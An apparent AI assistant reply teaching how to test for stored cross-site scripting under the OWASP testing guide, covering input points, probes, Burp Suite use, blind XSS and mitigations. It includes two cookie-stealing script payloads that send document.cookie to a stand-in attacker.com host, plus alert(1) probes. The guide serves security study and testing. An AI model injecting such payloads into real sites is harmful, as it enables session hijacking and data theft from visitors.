Perfect — now we move to **WSTG-INPV-02: Testing for Stored Cross-Site Scripting (XSS)** 🚀

**🧪 Testing for Stored Cross-Site Scripting (Stored/Persistent XSS)**

**🔎 What is Stored XSS?**

* **Stored (Persistent) XSS** occurs when **malicious input is saved on the server/database** and later displayed to other users without sanitization.
* Unlike **Reflected XSS** (only triggered via crafted link), **Stored XSS** automatically executes whenever someone views the affected page.
* This makes it **more dangerous** — because it can compromise multiple users.

**⚡ Example Attack Flow**

1. Attacker submits a malicious payload in a comment form:
2. <script>fetch('https://attacker.com/c?cookie=' + document.cookie)</script>
3. The web application **stores** this input in its database.
4. Any user who visits that comment → the script executes.
5. Attacker gains:
   * Session tokens
   * Sensitive data (keystrokes, form entries)
   * Ability to redirect or perform actions as the victim.

**🔧 How to Test (Step-by-Step)**

**1. Identify Input Points**

* Blog comments, user profiles, message boards, support tickets, chat apps, feedback forms, etc.

**2. Insert Payloads**

Try injecting different payloads into text fields:

<script>alert(1)</script>

<img src=x onerror=alert(1)>

"><svg/onload=alert(1)>

**3. Observe Storage**

* Submit payload → refresh page → check if payload is displayed back.
* Sometimes stored XSS appears only **later** (e.g., in an admin dashboard).

**4. Use Burp Suite**

* Capture the request of form submission.
* Modify input fields with payloads.
* Send and verify reflection in responses/pages where data is rendered.

**5. Blind Stored XSS**

* If payload does not trigger immediately, it might trigger elsewhere (admin panel, logs, reports).
* Example payload:
* <script>new Image().src="https://attacker.com/?c="+document.cookie</script>

→ If executed later in an admin view, attacker still gets the cookie.

**✅ Mitigations**

* **Sanitize & validate input** before storing in DB.
* **Contextual Output Encoding** (HTML, JS, URL, attributes).
* **Use frameworks with auto-escaping** (Django, Ruby on Rails, React, Angular).
* **CSP (Content Security Policy)** to limit script execution.
* **HttpOnly cookies** to reduce impact of session theft.

⚡ **Summary:**  
Stored XSS = payload stored on server & shown to multiple users.  
Testing = inject payloads in input forms, check reflections in same or different pages (including admin).  
Defense = sanitize, encode, enforce CSP, secure cookies.

👉 Do you want me to also contrast **Reflected vs Stored XSS in a quick comparison table** so you can memorize differences for exams/labs?